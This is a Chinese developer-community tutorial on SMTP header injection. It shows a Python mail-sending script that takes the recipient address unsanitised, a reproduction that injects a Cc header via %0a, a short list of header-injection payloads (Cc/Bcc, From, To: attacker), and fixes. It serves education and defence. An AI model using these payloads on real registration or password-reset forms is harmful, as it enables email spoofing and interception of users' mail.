Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【WEB安全】SMTP注入

【WEB安全】SMTP注入

原创
作者头像
用户1709153
发布于 2023-06-06 13:24:33
发布于 2023-06-06 13:24:33
62210
代码可运行
举报
文章被收录于专栏:杂学杂学
运行总次数:0
代码可运行

blocks|key|de7d7|type|unstyled|text|## 漏洞介绍

SMTP是用于发送和传递电子邮件的协议,定义了邮件的传输方式和交流规则。

SMTP注入是指可通过添加/控制**邮件头**的方式,篡改邮件的发送者、抄送、密送等字段,从而达到**欺骗、窃取邮件信息或劫持邮件传递**的目的。

既然归属到注入类,说明也是对用户输入未严格过滤,从而达到非预期的结果。

邮件头介绍

常见邮件头代表的含义如下:

%7C 邮件头字段 %7C 含义 %7C

%7C ------------------- %7C ---------------------------- %7C

%7C From %7C 邮件的发送者 %7C

%7C To %7C 邮件的主要接收者 %7C

%7C Cc %7C 邮件的抄送接收者 %7C

%7C Bcc %7C 邮件的密送接收者 %7C

%7C Subject %7C 邮件的主题或标题 %7C

%7C Body %7C 邮件的正文内容 %7C

%7C Date %7C 邮件的发送时间 %7C

%7C Reply-To %7C 回复邮件时使用的地址 %7C

%7C Importance %7C 邮件的重要性级别 %7C

%7C MIME-Version %7C 邮件的MIME版本 %7C

%7C Content-Type %7C 邮件正文内容的类型及编码方式 %7C

%7C Content-Disposition %7C 邮件附件的处理方式 %7C

%7C Message-ID %7C 邮件的唯一标识符 %7C

%7C In-Reply-To %7C 针对哪封邮件进行回复的标识符 %7C

%7C References %7C 相关邮件的标识符列表 %7C

%7C Return-Path %7C 邮件的退回地址 %7C

%7C X-Priority %7C 邮件的优先级 %7C

为了尽可能的获取实用的邮件头,使用抄送+密送的方式发一封邮件,查看原文,就可以看到发送的实际内容。

header
header

漏洞复现

漏洞环境

假设存在一个注册功能点,我们输入邮箱后,网站给我们发送激活链接进行注册。

其中,发送邮件使用的代码为:

代码语言:python
代码运行次数:0
运行
AI代码解释
复制
import base64
import smtplib
from urllib.parse import unquote
from email.header import Header
from email.message import Message

def send\_email(from\_addr, to\_addr, subject, mail\_text, smtp\_host, smtp\_port, smtp\_username, smtp\_password):
    email\_string = f"""MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
From: {from\_addr}
To: {to\_addr}
Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?=

{base64.b64encode(mail\_text.encode()).decode()}
    """
    print(f"\n{email\_string}\n")
    try:
        smtp\_obj = smtplib.SMTP\_SSL(smtp\_host, smtp\_port)
        smtp\_obj.login(smtp\_username, smtp\_password)
        smtp\_obj.sendmail(from\_addr, to\_addr, email\_string)
        smtp\_obj.quit()
        print('邮件发送成功')
    except smtplib.SMTPException as e:
        print('邮件发送失败:', str(e))

if \_\_name\_\_ == '\_\_main\_\_':
    # to\_addr = 'ntoouuzovrlfy@baybabes.com'
    to\_addr = input("收件箱地址: ")
    to\_addr = unquote(to\_addr)
    # 使用示例
    from\_addr = 'xxx@163.com'
    subject = '注册邀请'
    mail\_text = '您的注册地址为:xxxxx'
    smtp\_host = 'smtp.163.com'
    smtp\_port = 465
    smtp\_username = 'username'
    smtp\_password = 'password'

    send\_email(from\_addr, to\_addr, subject, mail\_text, smtp\_host, smtp\_port, smtp\_username, smtp\_password)

正常发送结果如下:

normal
normal

复现过程

上方代码可见to\_addr为收件人可控,我们将其输入为ntoouuzovrlfy@baybabes.com%0aCc: rocaced977@soremap.com并发送

insecure
insecure

可见成功注入了SMTP邮件头Cc(抄送),此时注入的恶意邮箱rocaced977@soremap.com也将收到和ntoouuzovrlfy@baybabes.com一样的邮件。

漏洞常见点

所有和发送邮件有关的功能点都可以进行尝试,如邮箱注册、邮箱找回密码等...

**常见payload:**

就是通过各种方式注入SMTP header头中。

代码语言:txt
AI代码解释
复制
rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
admin@domain.com%0AFrom:eval@domain.com
From:sender@domain.com%0ATo:attacker@domain.com
From:sender@domain.com%0ASubject:This’s%20Fake%20Subject

修复建议

  1. 输入过滤,可以使用正则表达式^[\w\.-]+@[\w\.-]+\.\w+$来过滤用用户提交的邮箱。
  2. 使用安全的组件和库,如PythonsmtplibJavajavax.mail、PHP的PHPMailer等,尽可能的通过模块内置的一些函数来设定SMTP header头。|depth|inlineStyleRanges|entityRanges|entityMap|data|mutability^0^^$0|@$1|2|3|4|5|6|7|D|8|@]|9|@]]]|A|$B|-4|C|-4|3|-4]]

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
1 条评论
热度
最新
Hi,您好呀,您近期内容创作表现突出,已入选腾讯云开发者社区内容共创官计划。内容共创官计划是腾讯云开发者社区面向社区重点潜力创作者打造的内容创作扶持机制,提供一系列技术创作教程、独家有奖创作激励、活动优先参会、社区流量曝光等资源。请您添加社区助理微信(微信号:yun_assistant)沟通加入计划。
Hi,您好呀,您近期内容创作表现突出,已入选腾讯云开发者社区内容共创官计划。内容共创官计划是腾讯云开发者社区面向社区重点潜力创作者打造的内容创作扶持机制,提供一系列技术创作教程、独家有奖创作激励、活动优先参会、社区流量曝光等资源。请您添加社区助理微信(微信号:yun_assistant)沟通加入计划。
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
Python利用SMTP协议发html格式含图片邮件
要发邮件需要两个库:smtplib 和 email。其中email库需要额外安装,pip install email 即可。
Cloudox
2021/11/23
1.1K0
Python利用SMTP协议发html格式含图片邮件
python发送邮件(二)——smtplib模块和email模块
一、模块介绍 1、smtplib 模块(用于邮件的发送) ①理论解释 smtplib.SMTP([host[, port[, local_hostname[, timeout]]]]) 通过这个语句,可以向SMTP服务器发送指令,执行相关操作(如:登陆、发送邮件)。所有的参数都是可选的。 host:smtp服务器主机名 port:smtp服务的端口,默认是25;端口号可以省略。 但是使用25号端口有一个问题,就是保密性不够好,数据都是明文传输,没有加密。 现在一般都推荐使用SSL,Secure So
Elsa_阿尼
2021/07/27
5.5K0
python发送邮件(二)——smtplib模块和email模块
Python网络编程:E-mail服务(
在发送邮件时,除了发送给相关的责任人,有时还需要知会某些人。这时就需要在邮件里指定抄送人员列表。相关实现如下:
py3study
2020/01/09
7240
Python 学习入门(5)—— 发送邮件
下载 email-6.0.0a1.tar.gz 或 Mail-2.1.0.tar.gz
阳光岛主
2019/02/19
7080
Python 学习入门(5)—— 发送邮件
python接口自动化(三十二)--Python发送邮件(常见四种邮件内容)番外篇——上(详解)
  本篇文章与前边没有多大关联,就是对前边有关发邮件的总结和梳理。在写脚本时,放到后台运行,想知道执行情况,会通过邮件、SMS(短信)、飞信、微信等方式通知管理员,用的最多的是邮件。在linux下,Shell脚本发送邮件告警是件很简单的事,有现成的邮
北京-宏哥
2019/09/11
2.3K0
python接口自动化(三十二)--Python发送邮件(常见四种邮件内容)番外篇——上(详解)
python接口自动化(三十三)-python自动发邮件总结及实例说明番外篇——下(详解)
  发邮件前我们需要了解的是邮件是怎么一个形式去发送到对方手上的,通俗点来说就是你写好一封信,然后装进信封,写上地址,贴上邮票,然后就近找个邮局,把信仍进去,其他的就不关心了,只是关心时间,而电子邮件不像日常发送邮件的按天算,时间都是按
北京-宏哥
2019/09/11
1.6K0
python接口自动化(三十三)-python自动发邮件总结及实例说明番外篇——下(详解)
九、Python发送QQ邮件(SMTP)
看了廖雪峰老师的教程: 一封电子邮件的旅程就是 发件人 -> MUA -> MTA -> MTA -> 若干个MTA -> MDA <- MUA <- 收件人 有了上述基本概念,要编写程序来发送和接收邮件,本质上就是: 编写MUA把邮件发到MTA; 编写MUA从MDA上收邮件。 发邮件时,MUA和MTA使用的协议就是SMTP:Simple Mail Transfer Protocol,后面的MTA到另一个MTA也是用SMTP协议。 收邮件时,MUA和MDA使用的协议有两种:POP:Post Of
酱紫安
2018/04/16
2.5K0
python自动发邮件总结及实例说明
python发邮件需要掌握两个模块的用法,smtplib和email,这俩模块是python自带的,只需import即可使用。smtplib模块主要负责发送邮件,email模块主要负责构造邮件。
周小董
2019/03/25
1.4K0
python自动发邮件总结及实例说明
Python模块smtplib让群发邮件变得简单1.smtplib模块介绍2.email.utils模块使用3.发送email的其它几个模块4.实例
SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式。 Python创建 SMTP 对象语法如下:
Python攻城狮
2018/08/23
8570
Python模块smtplib让群发邮件变得简单1.smtplib模块介绍2.email.utils模块使用3.发送email的其它几个模块4.实例
Python3 使用smtplib和em
SMTP (Simple Mail Transfer Protocol)   邮件传送代理 (Mail Transfer Agent,MTA) 程序使用SMTP协议来发送电邮到接收者的邮件服务器。SMTP协议只能用来发送邮件,不能用来接收邮件。大多数的邮件发送服务器 (Outgoing Mail Server) 都是使用SMTP协议。SMTP协议的默认TCP端口号是25。
py3study
2020/01/03
5520
Python实现自动发送邮件(详解)
这点很关键,别忘了去开启SMTP, 别忘了去开启SMTP,否则邮件是无法发送成功的 。然后你还需要点击下面生成授权码,这个授权码才是使用Python发送邮件时的真正密码。
全栈程序员站长
2022/11/17
1.2K0
Python实现自动发送邮件(详解)
用CBrother脚本实现smtp协议发送一份邮件
之前用CBrother脚本写了一个拯救“小霸王服务器”的程序,公司人用着都挺好用,但是有时候谁重启了服务器其他人不知道,造成了多人多次重启,每个人都抢救一遍,大家一再要求我添加功能,有一个人重启后给其他人发一封邮件。
无剑胜有剑
2020/07/16
4630
用CBrother脚本实现smtp协议发送一份邮件
使用 python 发送邮件
使用 python 发送邮件,这个也没啥讲的,分享三种方式发送邮件,最后一种三行代码就可以发送邮件,是不是很爽啊,话不多说,直接上代码
andrew_a
2019/08/20
1.4K0
Python模块学习--email
SMTP (Simple Mail Transfer Protocol)   邮件传送代理 (Mail Transfer Agent,MTA) 程序使用SMTP协议来发送电邮到接收者的邮件服务器。SMTP协议只能用来发送邮件,不能用来接收邮件。大多数的邮件发送服务器 (Outgoing Mail Server) 都是使用SMTP协议。SMTP协议的默认TCP端口号是25。
py3study
2020/01/10
1.5K0
QQ 邮箱使用 SMTP 发送邮件报错:550 The From header is missing or invalid
👋 你好,我是 Lorin 洛林,一位 Java 后端技术开发者!座右铭:Technology has the power to make the world a better place.
Lorin 洛林
2024/04/12
9000
QQ 邮箱使用 SMTP 发送邮件报错:550 The From header is missing or invalid
python SMTP自动发送文本,HTML,附件邮件
1.发件人的邮件 比如:sender@163.com,sender@126.com,sender@qq.com,sender@gmal.com
用户8346838
2021/03/11
1.4K0
软件测试|教你用Python给领导发邮件
我有个朋友是一个品牌的县级代理,免不了要给自己的上级代理汇报自己区域的销售情况,他不只一次给我抱怨,发送报表的次数太多,领导也太多,有时候一天发邮件就要占用自己不少的时间,问我有没有什么办法能够解放他。
霍格沃兹测试开发Muller老师
2023/03/05
7430
[快学Python3]SMTP发送邮件
概述 在本文中,主要介绍使用smtplib进行文本格式、HTML格式和带附件的邮件发送处理。 导入smtplib模块 import smtplib 关键函数说明 # 创建smtp对象 smtp = smtplib.SMTP([host [, port [, localhost]]] ) # 参数说明 # host: smtp服务地址,例如126邮箱的是:smtp.126.com # port: smtp服务端口 # localhost: 如果你的smtp服务在本机,则只需指定localhost即可 #
苦叶子
2018/04/09
4.1K0
[快学Python3]SMTP发送邮件
Python实现发送邮件(实现单发/群发邮件验证码)
Python smtplib 教程展示了如何使用 smtplib 模块在 Python 中发送电子邮件。 要发送电子邮件,我们使用 Python 开发服务器,Mailtrap 在线服务和共享的网络托管邮件服务器。
Python研究者
2021/08/26
1.5K0
Python实现邮件发送
    RCPT 标识单个的邮件接收人;常在MAIL命令后面,可有多个rcpt to:
py3study
2020/01/07
7080
推荐阅读
相关推荐
Python利用SMTP协议发html格式含图片邮件
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验